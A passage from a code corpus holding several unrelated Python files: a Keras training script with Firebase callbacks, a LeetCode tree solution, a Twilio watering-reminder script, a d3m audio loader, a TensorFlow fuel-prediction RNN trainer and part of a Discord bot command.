main_ref.child(self.username).child(self.model_name).child(\"current_epoch\")\n users_ref.set(self.epoch)\n print(\"training stopped-epoch begin %d\" % epoch)\n else:\n self.epoch=self.epoch+1\n\n def on_epoch_end(self, epoch, logs={}):\n #code to update flag from firebase\n self.main_ref = db.reference('/')\n self.users_ref = self.main_ref.child(self.username).child(self.model_name).child(\"stop_flag\")\n self.stop_flag =self.users_ref.get()\n if self.stop_flag==1:\n self.model.stop_training = True\n self.model.save_weights(self.weights_path + 'model_weights.h5')\n main_ref = db.reference('/')\n users_ref = main_ref.child(self.username).child(self.model_name).child(\"current_epoch\")\n users_ref.set(self.epoch)\n print(\"training stopped-epoch end %d\" % epoch)\n\n def on_batch_begin(self, batch, logs={}):\n #code to update flag from firebase\n self.main_ref = db.reference('/')\n self.users_ref = self.main_ref.child(self.username).child(self.model_name).child(\"stop_flag\")\n self.stop_flag =self.users_ref.get()\n if self.stop_flag==1:\n self.model.stop_training = True\n self.model.save_weights(self.weights_path + 'model_weights.h5')\n main_ref = db.reference('/')\n users_ref = main_ref.child(self.username).child(self.model_name).child(\"current_epoch\")\n users_ref.set(self.epoch)\n print(\"training stopped-batch begin %d\" % batch)\n\n def on_batch_end(self, batch, logs={}):\n #code to update flag from firebase\n self.main_ref = db.reference('/')\n self.users_ref = self.main_ref.child(self.username).child(self.model_name).child(\"stop_flag\")\n self.stop_flag =self.users_ref.get()\n if self.stop_flag==1:\n self.model.stop_training = True\n self.model.save_weights(self.weights_path + 'model_weights.h5')\n main_ref = db.reference('/')\n users_ref = main_ref.child(self.username).child(self.model_name).child(\"current_epoch\")\n users_ref.set(self.epoch)\n print(\"training stopped-batch end %d\" % batch)\n\n def on_train_begin(self, logs={}):\n #code to update flag from firebase\n self.main_ref = db.reference('/')\n self.users_ref = self.main_ref.child(self.username).child(self.model_name).child(\"stop_flag\")\n self.stop_flag =self.users_ref.get()\n if self.stop_flag==1:\n self.model.stop_training = True\n self.model.save_weights(self.weights_path + 'model_weights.h5')\n main_ref = db.reference('/')\n users_ref = main_ref.child(self.username).child(self.model_name).child(\"current_epoch\")\n users_ref.set(self.epoch)\n print(\"training stopped-train begin\")\n \nclass Update_Epoch(Callback): \n def __init__(self, username, model_name, current_epoch):\n super(Callback, self).__init__()\n self.username = username\n self.model_name = model_name\n self.current_epoch = current_epoch\n \n def on_epoch_begin(self, epoch, logs={}):\n main_ref = db.reference('/')\n users_ref = main_ref.child(username).child(model_name)\n users_ref.update({\"current_epoch\":(epoch+1)})\n \nclass ML_Parameter:\n \n def Loss_Monitor(username, model_name):\n history = TrainingPlot(username, model_name)\n return history\n def Pause_Model(username, model_name, weights_path):\n pause = Pausing_Model(username, model_name, weights_path)\n return pause\n def Update_Db_Epoch(username, model_name, current_epoch):\n update = Update_Epoch(username, model_name, current_epoch)\n return update\n \n \ndef generateModel():\n\n model = Sequential()\n model.add(Dense(32,input_dim=(40)))\n model.add(Dense(64))\n model.add(Activation('relu'))\n model.add(Dense(32))\n model.add(Activation('relu'))\n model.add(Dense(16))\n model.add(Activation('relu'))\n model.add(Dense(2))\n model.add(Activation('softmax'))\n\n model.compile(optimizer = 'Adam', loss = 'binary_crossentropy', metrics = ['accuracy'])\n\n return model\n\nmodel = generateModel()\nhistory = ML_Parameter.Loss_Monitor(username, model_name)\npause = ML_Parameter.Pause_Model(username, model_name, weights_path)\nupdate = ML_Parameter.Update_Db_Epoch(username, model_name, current_epoch)\n\nmodel.fit(X_train, Y_train, epochs=total_epochs-current_epoch, callbacks=[history, pause, update]) \n","sub_path":"Backend/sample-train.py","file_name":"sample-train.py","file_ext":"py","file_size_in_byte":7681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"637509817","text":"\"\"\"\nGiven a binary tree, check whether it is a mirror of itself (ie, symmetric around its center).\n\nFor example, this binary tree [1,2,2,3,4,4,3] is symmetric:\n\n 1\n / \\\n 2 2\n / \\ / \\\n3 4 4 3\n\nBut the following [1,2,2,null,3,null,3] is not:\n\n 1\n / \\\n 2 2\n \\ \\\n 3 3\n\nNote:\nBonus points if you could solve it both recursively and iteratively.\n\"\"\"\nfrom queue import Queue\nfrom typing import Optional\n\nfrom .utils import TreeNode\n\n\nclass Solution1:\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n if root is None:\n return True\n return self.is_symmetric(root.left, root.right)\n\n def is_symmetric(self, root1: Optional[TreeNode], root2: Optional[TreeNode]) -> bool:\n if root1 is None and root2 is None:\n return True\n if root1 is None or root2 is None:\n return False\n if root1 is root2:\n raise ValueError\n if root1.val != root2.val:\n return False\n return self.is_symmetric(root1.left, root2.right) and self.is_symmetric(root1.right, root2.left)\n\n\nclass Solution2:\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n if root is None:\n return True\n q = Queue()\n q.put(root.left)\n q.put(root.right)\n while not q.empty():\n node1, node2 = q.get(), q.get()\n if node1 is None and node2 is None:\n continue\n if node1 is None or node2 is None:\n return False\n if node1.val != node2.val:\n return False\n q.put(node1.left)\n q.put(node2.right)\n q.put(node1.right)\n q.put(node2.left)\n return True\n","sub_path":"python/leetcodepy/symmetric_tree.py","file_name":"symmetric_tree.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"603099880","text":"# -*- coding: utf-8 -*-\n\nfrom model import connect_to_db, User, Plant, PlantUser\nimport os\nfrom twilio.rest import TwilioRestClient\nimport datetime\nimport pytz\n\naccount_sid = os.environ.get(\"TWILIO_SID\")\nauth_token = os.environ.get(\"TWILIO_TOKEN\")\n_client = TwilioRestClient(account_sid, auth_token)\n\n\ndef send_sms(day, name, num):\n\n message = _client.messages.create(\n to='+1'+num,\n from_=\"+16506678554\",\n body=\"It's time to water your {}! - Planty🌱\".format(name)\n )\n print(message.sid)\n\n\ndef schedule_reminders(plant_user):\n\n user_num = User.query.get(plant_user.user_id).phone\n plant_name = Plant.query.get(plant_user.plant_id).name\n\n utcmoment_unaware = datetime.datetime.utcnow()\n utcmoment = utcmoment_unaware.replace(tzinfo=pytz.utc)\n today = utcmoment.astimezone(pytz.timezone('America/Los_Angeles')).strftime('%A')\n\n for day in plant_user.get_watering_days():\n if today == day:\n send_sms(day, plant_name, user_num)\n\n\ndef main():\n for plantuser in PlantUser.query.all():\n if plantuser.get_watering_days():\n schedule_reminders(plantuser)\n\n\nif __name__ == '__main__':\n\n from server import app\n connect_to_db(app, os.environ.get(\"DATABASE_URL\"))\n\n main()\n","sub_path":"reminder_sender.py","file_name":"reminder_sender.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"416857552","text":"#\n# Copyright © 2021 Uncharted Software Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nimport os\nimport signal\nimport subprocess\nimport tempfile\nfrom typing import List, Sequence, Optional, Tuple, Union\n\nimport numpy as np\nimport pandas as pd\nimport pyprctl\nimport soundfile as sf\nfrom d3m import container, utils\nfrom d3m.base import utils as base_utils\nfrom d3m.metadata import base as metadata_base, hyperparams\nfrom d3m.primitive_interfaces import base, transformer\nfrom distil.utils import CYTHON_DEP\nimport version\nfrom joblib import Parallel, delayed\nfrom tqdm import tqdm\n\n__all__ = (\"AudioDatasetLoaderPrimitive\",)\n\nlogger = logging.getLogger(__name__)\n\n\nclass Hyperparams(hyperparams.Hyperparams):\n sample = hyperparams.Hyperparameter[float](\n default=1.0,\n semantic_types=[\n \"https://metadata.datadrivendiscovery.org/types/ControlParameter\"\n ],\n description=\"a value ranging from 0.0 to 1.0 indicating how much of the source data to load\",\n )\n dataframe_resource = hyperparams.Hyperparameter[Union[str, None]](\n default=None,\n semantic_types=[\n \"https://metadata.datadrivendiscovery.org/types/ControlParameter\"\n ],\n description=\".\",\n )\n n_jobs = hyperparams.Hyperparameter[int](\n default=64,\n semantic_types=[\n \"https://metadata.datadrivendiscovery.org/types/ControlParameter\"\n ],\n description=\"The value of the n_jobs parameter for the joblib library\",\n )\n\n\nclass WavInput:\n def __init__(self, data, sample_rate):\n self.data = data\n self.sample_rate = sample_rate\n\n\ndef convert_load_file(fileuri, start, end):\n\n with tempfile.NamedTemporaryFile(mode=\"rb\") as output_file:\n # We use ffmpeg to convert all audio files to same format.\n args = [\n \"ffmpeg\",\n \"-y\", # Always overwrite existing files.\n \"-nostdin\", # No interaction.\n \"-i\",\n fileuri, # Input file.\n \"-vn\", # There is no video.\n #'-acodec', 'pcm_f32le', # We want everything in float32 dtype.\n \"-f\",\n \"wav\", # This will give us sample rate available in metadata.\n output_file.name, # Output file.\n ]\n\n try:\n result = subprocess.run(\n args,\n stdin=subprocess.DEVNULL,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n # Setting \"pdeathsig\" will make the ffmpeg process be killed if our process dies for any reason.\n encoding=\"utf8\",\n check=True,\n preexec_fn=lambda: pyprctl.set_pdeathsig(signal.SIGKILL),\n )\n except subprocess.CalledProcessError as error:\n logger.error(\"Error running ffmpeg: %(stderr)s\", {\"stderr\": error.stderr})\n raise\n\n info = sf.info(output_file.name)\n\n if start is not None and end is not None and info.duration > 0:\n start = int(info.frames * (start / info.duration))\n end = int(info.frames * (end / info.duration))\n audio_array, sample_rate = sf.read(\n output_file.name, start=start, stop=end, dtype=\"int16\"\n )\n else:\n audio_array, sample_rate = sf.read(output_file.name, dtype=\"int16\")\n\n if len(audio_array.shape) == 1:\n audio_array = audio_array.reshape(-1, 1)\n\n if audio_array.shape[0] < sample_rate:\n audio_array = np.vstack(\n [\n audio_array,\n np.zeros(\n (sample_rate - audio_array.shape[0], audio_array.shape[1]),\n dtype=\"int16\",\n ),\n ]\n )\n\n return WavInput(audio_array, sample_rate)\n\n\nclass AudioDatasetLoaderPrimitive(\n transformer.TransformerPrimitiveBase[container.Dataset, container.List, Hyperparams]\n):\n \"\"\"\n A primitive which reads columns referencing audio files.\n\n Each column which has ``https://metadata.datadrivendiscovery.org/types/FileName`` semantic type\n and a valid media type (``audio/aiff``, ``audio/flac``, ``audio/ogg``, ``audio/wav``, ``audio/mpeg``)\n has every filename read into an audio represented as a numpy array. By default the resulting column\n with read arrays is appended to existing columns.\n\n The shape of numpy arrays is S x C. S is the number of samples, C is the number of\n channels in an audio (e.g., C = 1 for mono, C = 2 for stereo). dtype is float32.\n\n \"\"\"\n\n metadata = metadata_base.PrimitiveMetadata(\n {\n \"id\": \"f2a0cf71-0f61-41a7-a0ad-b907083ae56c\",\n \"version\": version.__version__,\n \"name\": \"Load audio collection from dataset into a single dataframe\",\n \"python_path\": \"d3m.primitives.data_transformation.audio_reader.DistilAudioDatasetLoader\",\n \"source\": {\n \"name\": \"Distil\",\n \"contact\": \"mailto:cbethune@uncharted.software\",\n \"uris\": [\n \"https://github.com/uncharted-distil/distil-primitives/blob/main/distil/primitives/audio_reader.py\",\n \"https://github.com/uncharted-distil/distil-primitives\",\n ],\n },\n \"installation\": [\n CYTHON_DEP,\n {\n \"type\": metadata_base.PrimitiveInstallationType.PIP,\n \"package_uri\": \"git+https://github.com/uncharted-distil/distil-primitives.git@{git_commit}#egg=distil-primitives\".format(\n git_commit=utils.current_git_commit(os.path.dirname(__file__)),\n ),\n },\n ],\n \"algorithm_types\": [\n metadata_base.PrimitiveAlgorithmType.FILE_MANIPULATION,\n ],\n \"primitive_family\": metadata_base.PrimitiveFamily.DATA_TRANSFORMATION,\n },\n )\n\n def produce(\n self,\n *,\n inputs: container.Dataset,\n timeout: float = None,\n iterations: int = None,\n ) -> base.CallResult[container.DataFrame]:\n logger.debug(f\"Running {__name__}\")\n\n # get the learning data (the dataset entry point)\n learning_id, learning_df = base_utils.get_tabular_resource(\n inputs, None, pick_entry_point=True\n )\n learning_df = learning_df.head(\n int(learning_df.shape[0] * self.hyperparams[\"sample\"])\n )\n learning_df.metadata = self._update_metadata(\n inputs.metadata, learning_id, learning_df\n )\n\n logger.debug(f\"\\n{learning_df}\")\n\n return base.CallResult(learning_df)\n\n def produce_collection(\n self,\n *,\n inputs: container.Dataset,\n timeout: float = None,\n iterations: int = None,\n ) -> base.CallResult[container.DataFrame]:\n logger.debug(f\"Running {__name__}\")\n\n # get the learning data (the dataset entry point)\n learning_id, learning_df = base_utils.get_tabular_resource(\n inputs, None, pick_entry_point=True\n )\n\n learning_df = learning_df.head(\n int(learning_df.shape[0] * self.hyperparams[\"sample\"])\n )\n learning_df.metadata = self._update_metadata(\n inputs.metadata, learning_id, learning_df\n )\n\n # find the column that is acting as the foreign key and extract the resource + column it references\n for i in range(\n learning_df.metadata.query((metadata_base.ALL_ELEMENTS,))[\"dimension\"][\n \"length\"\n ]\n ):\n column_metadata = learning_df.metadata.query_column(i)\n if (\n \"foreign_key\" in column_metadata\n and column_metadata[\"foreign_key\"][\"type\"] == \"COLUMN\"\n ):\n resource_id = column_metadata[\"foreign_key\"][\"resource_id\"]\n file_column_idx = column_metadata[\"foreign_key\"][\"column_index\"]\n\n # get the learning data (the dataset entry point)\n collection_id, collection_df = base_utils.get_tabular_resource(\n inputs, resource_id\n )\n\n collection_df = collection_df.head(learning_df.shape[0])\n collection_df.metadata = self._update_metadata(\n inputs.metadata, collection_id, collection_df\n )\n\n # get the base path\n base_path = collection_df.metadata.query(\n (metadata_base.ALL_ELEMENTS, file_column_idx)\n )[\"location_base_uris\"][0]\n\n # create fully resolved paths and load\n paths = learning_df.iloc[:, file_column_idx] # TODO: remove, unused?\n\n file_paths = []\n for i, row in learning_df.iterrows():\n if i % 100 == 0:\n logger.debug(f\"Loaded {i} / {len(learning_df.index)} files\")\n try:\n start_end = row[\"start-end-time-slice-of-recording\"]\n start, end = [float(x) for x in start_end.split(\",\")]\n file_paths.append(\n (os.path.join(base_path, row[\"filename\"]), start, end)\n )\n except AttributeError as e:\n logger.warning(\"no start/end ts for {}\".format(row))\n file_paths.append(\n (os.path.join(base_path, row[\"filename\"]), None, None)\n )\n\n outputs = self._audio_load(self.hyperparams[\"n_jobs\"], file_paths)\n\n logger.debug(f\"\\n{outputs}\")\n\n result_df = pd.DataFrame({\"audio\": outputs}) # d3m container takes for_ever_\n return base.CallResult(container.DataFrame(result_df, generate_metadata=False))\n\n @classmethod\n def _update_metadata(\n cls,\n metadata: metadata_base.DataMetadata,\n resource_id: metadata_base.SelectorSegment,\n for_value: Optional[container.DataFrame],\n ) -> metadata_base.DataMetadata:\n resource_metadata = dict(metadata.query((resource_id,)))\n\n if \"structural_type\" not in resource_metadata or not issubclass(\n resource_metadata[\"structural_type\"], container.DataFrame\n ):\n raise TypeError(\n 'The Dataset resource is not a DataFrame, but \"{type}\".'.format(\n type=resource_metadata.get(\"structural_type\", None),\n )\n )\n\n resource_metadata.update(\n {\n \"schema\": metadata_base.CONTAINER_SCHEMA_VERSION,\n }\n )\n new_metadata = metadata_base.DataMetadata()\n new_metadata = metadata.copy_to(new_metadata, (resource_id,))\n new_metadata = new_metadata.remove_semantic_type(\n (), \"https://metadata.datadrivendiscovery.org/types/DatasetEntryPoint\"\n )\n\n return new_metadata\n\n @classmethod\n def _audio_load(cls, n_jobs: int, files_in: Sequence[Tuple]) -> List:\n jobs = [\n delayed(convert_load_file)(f[0], float(f[1]), float(f[2]))\n for f in tqdm(files_in, total=len(files_in))\n ]\n files_out = Parallel(n_jobs=n_jobs, backend=\"loky\", verbose=10)(jobs)\n return files_out\n","sub_path":"distil/primitives/audio_reader.py","file_name":"audio_reader.py","file_ext":"py","file_size_in_byte":11612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"533128669","text":"import tensorflow as tf\nimport csv\nimport numpy as np\nimport c_fueldata\nimport os\n\nCONSTANT = tf.app.flags\nCONSTANT.DEFINE_integer(\"num_epochs\", 1000, \"epoch when learning\")\nCONSTANT.DEFINE_integer(\"num_hidden\", 256, \"num_hidden in rnn \")\nCONSTANT.DEFINE_integer(\"num_time_step\",10, \"number of recurrent hidden layer\")\nCONSTANT.DEFINE_integer(\"in_vec_size\", 10, \"input vector size\")\nCONSTANT.DEFINE_integer(\"out_vec_size\", 10, \"output vector size\")\nCONSTANT.DEFINE_float(\"learning_rate\", 0.001, \"learning rate for optimizer\")\nCONSTANT.DEFINE_float(\"drop_out\", 0.85, \"drop out\")\n\nCONSTANT.DEFINE_string(\"ckpt_file\", \"../saved_models/1year-RNN10-one-softmax.ckpt\", \"check point log file\")\nCONSTANT.DEFINE_string(\"tensorboard_dir\", \"../summary\", \"tensorboard log dir\")\n#CONSTANT.DEFINE_string(\"train_rootdir\", \"/data/lkh_data\", \"fuel train dir\")\n#CONSTANT.DEFINE_string(\"train_rootdir\", \"/data/lkh_data/BONGGO3\", \"fuel train dir\")\nCONSTANT.DEFINE_string(\"train_rootdir\", \"/home/wowjini/_tmp\", \"fuel train dir\")\n\n#CONSTANT.DEFINE_string(\"train_rootdir\", \"/data/wowjini_data/fuel_data/12\", \"fuel train dir\")\n\nCONSTANT.DEFINE_string(\"learned_file\", \"learned_list\", \"learned dir\")\nCONST = CONSTANT.FLAGS\n\n\n\nclass FUEL_RNN(object):\n def __init__(self):\n self.fuel_data = c_fueldata.FuelData()\n\n self._set_graph_variables()\n self._build_rnn_graph()\n\n #self._build_nn_graph()\n\n self._set_summary()\n self._set_saver()\n\n self._initialize(True)\n\n\n ##################################################\n def _load_learned_dirlist(self):\n done_list = []\n try:\n file = open(CONST.learned_file, \"r\")\n for line in file:\n done_list.append(line.strip())\n file.close()\n except:\n pass\n\n return {ca: index for index, ca in enumerate(done_list)}\n\n def _walk_search(self, learned_dic, learned_file, epoch):\n cnt = 0\n for (path, dir, files) in os.walk(CONST.train_rootdir):\n if path in learned_dic:\n pass\n else:\n print(\"learning dir:\", path)\n for filename in files:\n ext = os.path.splitext(filename)[-1]\n if ext == '.txt':\n cnt += 1\n # read csv\n # print(\"(%d, %d) read file: %s/%s\" % (epoch, cnt, path, filename))\n\n train_x, train_y, test_x, test_y = self.fuel_data._getData_train(path+'/'+filename, CONST.out_vec_size, CONST.num_time_step)\n\n\n if train_x.shape[0] == 0:\n continue\n\n #train_x = train_x.reshape(-1, (CONST.in_vec_size * CONST.num_time_step))\n #test_x = test_x.reshape(-1, (CONST.in_vec_size * CONST.num_time_step))\n\n summary1, lost, train_acc, _ = self.sess.run([self.summary_merged1, self.cost, self.accuracy_train, self.optimizer],\n feed_dict={self.inputs: train_x, self.result: train_y})\n\n self.summary_writer.add_summary(summary1, epoch)\n\n if cnt % 5 == 0:\n if test_y.size > 0 :\n #pred_ = self.sess.run(self.hypothesis, feed_dict={self.inputs: test_x})\n #print(np.argmax(pred_[0]), np.argmax(test_y[0]))\n # print(\"(epoch: %d, file cnt: %d) cost: %f\" % (epoch, cnt, lost))\n summary2, h, test_acc = self.sess.run([self.summary_merged2, self.hypothesis, self.accuracy_test], feed_dict={self.inputs: test_x, self.result: test_y})\n print(\"(epoch: %d, file cnt: %d) cost: %f, accuracy: (%f:%f) \" % (epoch, cnt, lost, train_acc, test_acc), np.argmax(h[0]), np.argmax(test_y[0]))\n self.summary_writer.add_summary(summary2, epoch)\n\n\n if cnt % 100 == 0 :\n print(\"(%d, %d) save check point\" % (epoch, cnt))\n # print(\"== current file cnt :\", cnt)\n self.model_saver.save(self.sess, CONST.ckpt_file)\n\n learned_file.write(path +'\\n')\n learned_file.flush()\n\n print(\"================================\")\n print(\"(%d, %d) save last check point\" % (epoch, cnt))\n print(\"================================\")\n self.model_saver.save(self.sess, CONST.ckpt_file)\n\n ##################################################\n\n def learning(self):\n\n dic = self._load_learned_dirlist()\n\n for epoch in range(CONST.num_epochs):\n #####\n if epoch == 0:\n learned_file = open(CONST.learned_file, \"a\")\n else:\n learned_file = open(CONST.learned_file, \"w\")\n self._walk_search(dic , learned_file, epoch)\n learned_file.close()\n #####\n dic.clear()\n\n \"\"\"\n train_x, train_y, test_x, test_y = self.fuel_data._getData('../data/sample.csv', CONST.out_vec_size, CONST.num_time_step)\n\n for epoch in range(CONST.num_epochs):\n summary, cost_, _ = self.sess.run([self.summary_merged, self.cost, self.optimizer],\n feed_dict={self.inputs: train_x, self.result: train_y})\n self.summary_writer.add_summary(summary, epoch)\n\n if epoch % 200 == 0:\n h = self.sess.run(self.hypothesis,\n feed_dict={self.inputs: test_x, self.result: test_y})\n print(\"epoch:\", epoch, \" cost:\", cost_,\n \"predict fuel:\", h[0], \"actual fuel:\", test_y[0])\n\n self.model_saver.save(self.sess, CONST.ckpt_file)\n \"\"\"\n\n\n self._close_session()\n\n def _initialize(self, initload=True):\n\n self.sess = tf.Session()\n #cls.coord = tf.train.Coordinator()\n #cls.thread = tf.train.start_queue_runners(sess=cls.sess, coord=cls.coord)\n\n self.summary_writer = tf.summary.FileWriter(CONST.tensorboard_dir, self.sess.graph)\n\n if initload:\n self.sess.run(tf.global_variables_initializer())\n else:\n self.model_saver.restore(self.sess, CONST.ckpt_file)\n print(\"Model restored.\")\n\n\n def _close_session(self):\n self.sess.close()\n\n\n def _set_graph_variables(self):\n self.W1 = tf.Variable(tf.random_normal([CONST.num_hidden, 128]))\n self.W2 = tf.Variable(tf.random_normal([128, 128]))\n self.W3 = tf.Variable(tf.random_normal([128, 128]))\n self.W4 = tf.Variable(tf.random_normal([128, CONST.out_vec_size]))\n\n self.W = tf.Variable(tf.random_normal([CONST.num_hidden, CONST.out_vec_size]))\n\n self.B1 = tf.Variable(tf.random_normal([128]))\n self.B2 = tf.Variable(tf.random_normal([128]))\n self.B3 = tf.Variable(tf.random_normal([128]))\n self.B4 = tf.Variable(tf.random_normal([CONST.out_vec_size]))\n\n self.B = tf.Variable(tf.random_normal([CONST.out_vec_size]))\n\n\n\n def _build_rnn_graph(self):\n # tf Graph Input\n self.inputs = tf.placeholder(tf.float32, [None, CONST.num_time_step, CONST.in_vec_size]) # mnist data image of shape 28*28=784\n self.result = tf.placeholder(tf.float32, [None, CONST.out_vec_size]) # 0-9 digits recognition => 10 classes\n\n X = tf.transpose(self.inputs, [1, 0, 2]) # num_steps (T) elements of shape (batch_size x num_inputs)\n X = tf.reshape(X, [-1, CONST.in_vec_size]) # flatten the data with num_inputs values on each row\n X = tf.split(axis=0, num_or_size_splits=CONST.num_time_step,\n value=X) # create a list with an element per timestep, cause that is what the rnn needs as input\n\n #cell = tf.contrib.rnn.BasicRNNCell(num_units=CONST.num_hidden)\n cell = tf.contrib.rnn.BasicLSTMCell(num_units=CONST.num_hidden, state_is_tuple=True)\n\n cell = tf.contrib.rnn.DropoutWrapper(cell, output_keep_prob=CONST.drop_out)\n\n outputs, states = tf.contrib.rnn.static_rnn(cell, X, dtype=tf.float32)\n\n\n L1 = tf.nn.tanh(tf.add(tf.matmul(outputs[-1], self.W1), self.B1))\n ##L1 = tf.nn.relu(tf.add(tf.matmul(outputs[-1], self.W1), self.B1))\n\n L2 = tf.nn.tanh(tf.add(tf.matmul(L1, self.W2), self.B2))\n\n L3 = tf.nn.tanh(tf.add(tf.matmul(L2, self.W3), self.B3))\n\n self.hypothesis = tf.add(tf.matmul(L3, self.W4), self.B4)\n #self.hypothesis = tf.add(tf.matmul(outputs[-1], self.W), self.B)\n\n #self.cost = tf.nn.l2_loss(self.hypothesis - self.result)\n # self.cost = tf.reduce_mean(tf.nn.l2_loss(self.hypothesis - self.result))\n #self.cost = tf.reduce_mean(tf.pow(self.hypothesis - self.result, 2))\n\n\n # logits and labels must have the same shape [batch_size, num_classes] and the same dtype (either float16, float32, or float64).\n self.cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=self.hypothesis, labels=self.result))\n\n #self.optimizer = tf.train.RMSPropOptimizer(learning_rate=CONST.learning_rate, decay=0.8).minimize(self.cost)\n self.optimizer = tf.train.AdamOptimizer(learning_rate=CONST.learning_rate).minimize(self.cost)\n\n #self.accuracy_train = tf.reduce_mean(tf.cast(tf.equal(tf.cast(tf.round(self.hypothesis), tf.int32), tf.cast(self.result, tf.int32)), tf.float32))\n #self.accuracy_test = tf.reduce_mean(tf.cast(tf.equal(tf.cast(tf.round(self.hypothesis), tf.int32), tf.cast(self.result, tf.int32)), tf.float32))\n\n self.accuracy_train = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(self.hypothesis, 1), tf.argmax(self.result, 1)), tf.float32))\n self.accuracy_test = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(self.hypothesis, 1), tf.argmax(self.result, 1)), tf.float32))\n\n def _set_summary(self):\n #tf.summary.histogram('W1', self.W1)\n #tf.summary.histogram('B1', self.B1)\n\n #tf.summary.histogram('W2', self.W2)\n #tf.summary.histogram('B2', self.B2)\n\n #tf.summary.histogram('W3', self.W3)\n #tf.summary.histogram('B3', self.B3)\n\n\n tf.summary.scalar('cost', self.cost)\n tf.summary.scalar('accuracy_train', self.accuracy_train)\n\n\n self.summary_merged1 = tf.summary.merge_all()\n\n\n tf.summary.scalar('accuracy_test', self.accuracy_test)\n self.summary_merged2 = tf.summary.merge_all()\n\n\n def _set_saver(self):\n self.model_saver = tf.train.Saver()\n\n\n\n\"\"\"\n def _build_nn_graph(self):\n # tf Graph Input\n self.inputs = tf.placeholder(tf.float32, [None, (CONST.num_time_step * CONST.in_vec_size)]) # mnist data image of shape 28*28=784\n self.result = tf.placeholder(tf.float32, [None, CONST.out_vec_size]) # 0-9 digits recognition => 10 classes\n\n # Set model weights\n nW1 = tf.Variable(tf.random_normal([(CONST.num_time_step * CONST.in_vec_size), 128]))\n nW2 = tf.Variable(tf.random_normal([128, 128]))\n nW3 = tf.Variable(tf.random_normal([128, 128]))\n nW4 = tf.Variable(tf.random_normal([128, 128]))\n nW5 = tf.Variable(tf.random_normal([128, CONST.out_vec_size]))\n\n nB1 = tf.Variable(tf.random_normal([128]))\n nB2 = tf.Variable(tf.random_normal([128]))\n nB3 = tf.Variable(tf.random_normal([128]))\n nB4 = tf.Variable(tf.random_normal([128]))\n nB5 = tf.Variable(tf.random_normal([CONST.out_vec_size]))\n\n L1 = tf.nn.tanh(tf.matmul(self.inputs, nW1) + nB1)\n L1_D = tf.nn.dropout(L1, 0.75)\n\n L2 = tf.nn.tanh(tf.matmul(L1_D, nW2) + nB2)\n L2_D = tf.nn.dropout(L2, 0.85)\n\n\n L3 = tf.nn.tanh(tf.matmul(L2_D, nW3) + nB3)\n L3_D = tf.nn.dropout(L3, 0.9)\n\n L4 = tf.nn.tanh(tf.matmul(L3_D, nW4) + nB4)\n L4_D = tf.nn.dropout(L4, 1.0)\n\n self.hypothesis = tf.add(tf.matmul(L4_D, nW5), nB5) # No need to use softmax here\n\n self.cost = tf.reduce_mean(tf.pow(self.hypothesis - self.result, 2))\n\n self.optimizer = tf.train.AdamOptimizer(learning_rate=CONST.learning_rate).minimize(self.cost)\n\n self.accuracy_train = tf.reduce_mean(\n tf.cast(tf.equal(tf.cast(tf.round(self.hypothesis), tf.int32), tf.cast(self.result, tf.int32)), tf.float32)\n )\n self.accuracy_test = tf.reduce_mean(\n tf.cast(tf.equal(tf.cast(tf.round(self.hypothesis), tf.int32), tf.cast(self.result, tf.int32)), tf.float32)\n )\n\n\"\"\"\n\ndef main(_):\n fuel_rnn = FUEL_RNN()\n fuel_rnn.learning()\n\nif __name__ == \"__main__\":\n tf.app.run()\n","sub_path":"MY/D/models/c_rnn.py","file_name":"c_rnn.py","file_ext":"py","file_size_in_byte":12694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"542961180","text":"import asyncio\nimport random\n\nfrom discord.ext import commands\nimport voxelbotutils as utils\n\n\nclass ThisOrThat(utils.Cog):\n\n THIS_OR_THAT_IDS = (\n 199136310416375808, # Apy\n 619666943103729715, # BigBen\n 647301314732097560, # Cerberus\n 604059714963243056, # Confessional\n 731736201400418314, # Flower\n 690477072270753792, # Honey\n 598553427592871956, # Profile\n 760903667246432257, # SimpTracker\n 468281173072805889, # MarriageBot\n 723813550136754216, # StalkerBot\n )\n\n @utils.command(hidden=True, aliases=['tot'])\n @commands.bot_has_permissions(send_messages=True, add_reactions=True)\n async def thisorthat(self, ctx:utils.Context):\n \"\"\"\n Shows you two VFL bots. Asks which you prefer.\n \"\"\"\n\n # Get two unique choices\n choice_one, choice_two = random.choices(self.THIS_OR_THAT_IDS, k=2)\n while choice_one == choice_two:\n choice_two = random.choice(self.THIS_OR_THAT_IDS)\n choice_one, choice_two = sorted([choice_one, choice_two])\n\n # Ask which they want\n ask_message = await ctx.send((\n f\"Which bot do you prefer, {ctx.author.mention}?\\n\"\n f\"1\\N{COMBINING ENCLOSING KEYCAP} <@{choice_one}>\\n\"\n f\"2\\N{COMBINING ENCLOSING KEYCAP} <@{choice_two}>\\n\"\n ))\n await ask_message.add_reaction(\"1\\N{COMBINING ENCLOSING KEYCAP}\")\n await ask_message.add_reaction(\"2\\N{COMBINING ENCLOSING KEYCAP}\")\n\n # Wait for response\n try:\n check = lambda r, u: str(r.emoji) in [\"1\\N{COMBINING ENCLOSING KEYCAP}\", \"2\\N{COMBINING ENCLOSING KEYCAP}\"] and u.id == ctx.author.id and r.message.id == ask_message.id\n reaction, _ = await self.bot.wait_for(\"reaction_add\", check=check, timeout=15)\n except 